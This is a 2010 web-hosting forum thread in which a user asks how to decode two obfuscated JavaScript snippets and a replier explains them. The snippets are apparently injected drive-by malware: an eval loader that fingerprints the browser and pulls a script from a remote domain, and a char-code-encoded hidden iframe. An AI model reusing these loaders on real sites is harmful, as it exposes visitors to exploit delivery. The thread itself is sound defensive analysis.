Web Hosting Talk







View Full Version : how to decode this java script by using Firebug and Mazilla?


denmilu
03-18-2010, 11:49 PM
Hello,

I was wondering if anyone could "decode" and show me the way to decode this script for me and tell me the exact URL, and what exactly the script does.
It is javascript.

Using Firebug to decode the following:
(function(xBuWy){var ZPKG='var~20a~3d~22Scri~70tEngine~22~2cb~3d~22Ve~72~73i~6fn()+~22~2cj~3d~22~22~2cu~3d~6eav~69~67~61to~72~2e~75serAgent~3bif((u~2ei~6e~64ex~4ff(~22Wi~6 e~22)~3e~30~29~26~26~28u~2eind~65x~4ff~28~22N~54~20~36~22~29~3c0~29~26~26(documen~74~2ecookie~2eind~65xOf(~22m~69ek~3d1~22~29~3c~30)~26~26(typeof(~7ar ~76zts)~21~3dtypeof(~22A~22)))~7bz~72v~7ats~3d~22A~22~3be~76al(~22~69f(wi~6edow~2e~22~2ba+~22)j~3dj+~22+~61+~22M~61jor~22~2bb+~61~2b~22Mi~6eor~22+b+a~ 2b~22~42ui~6cd~22~2bb+~22j~3b~22)~3bdocu~6dent~2ewrite(~22~3csc~72ip~74~20s~72c~3d~2f~2fgu~6dbla~72~2ec~6e~2frss~2f~3fid~3d~22~2bj+~22~3e~3c~5c~2f~73c ~72ipt~3e~22~29~3b~7d';var V4q87=ZPKG.replace(xBuWy,'%');eval(unescape(V4q87))})(/~/g);



Using Mazilla to decode the following:
<html>
<body>
<div style="display:none" id="aots2010">60,105,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,106,112,99,101,114,116,46,111,114,46,106,112,34,32,115,116,121,1 08,101,61,34,100,105,115,112,108,97,121,58,110,111,110,101,59,34,32,119,105,100,116,104,61,34,48,34,32,104,101,105,103,104,116,61,34,48,34,62,60,47,10 5,102,114,97,109,101,62</div>
<script>
var c = unescape('var%20ww%20%3D%20document.getElementById%28%22aots2010%22%29.innerHTML%3Bvar%20xx%20%3D%20ww.split%28%22%2C%22%29%3Bfor%20%28i%3D0%3B%20i%3C xx.length%3B%20i++%29%7Byy%20%3D%20String.fromCharCode%28xx%5Bi%5D%29%3Bdocument.write%28yy%29%3B%7D');eval(c);
</script>
</body>
</html>

thanks!

Xeentech
03-19-2010, 06:06 PM
It's ultimate payload is to concatenate a bunch of version information together:

j = ScriptEngineMajorVersion() + ScriptEngineMinorVersion() + ScriptEngineBuildVersion();


And load a script form a domain my firefox has flagged as malware:

document.write("<script src=//<domain>.cn/rss/?id="+j+"><\/script>");


The version info is likely so that the server side knows which exploit to attempt.

denmilu
03-21-2010, 09:25 PM
Thanks Xeentech,
The first script I was also used Jdecoder to decode it. But with the second, I did't know how to decode it. So Can you help me?

Xeentech
03-22-2010, 03:03 AM
Thanks Xeentech,
The first script I was also used Jdecoder to decode it. But with the second, I did't know how to decode it. So Can you help me?

Well script likes these really just decode them selfs. You just have to run individual parts of them and look at their output.

To start off you have:

var c = unescape(<obfuscated code>);eval(c);


If you remove the eval(c); that's now safe to run, and you'll get the unescaped code. Repeat this type of process until you get to the eventual payload.

denmilu
03-22-2010, 04:01 AM
Hi Xeentech,

From your instruction, now I can do it by myselft. Thanks!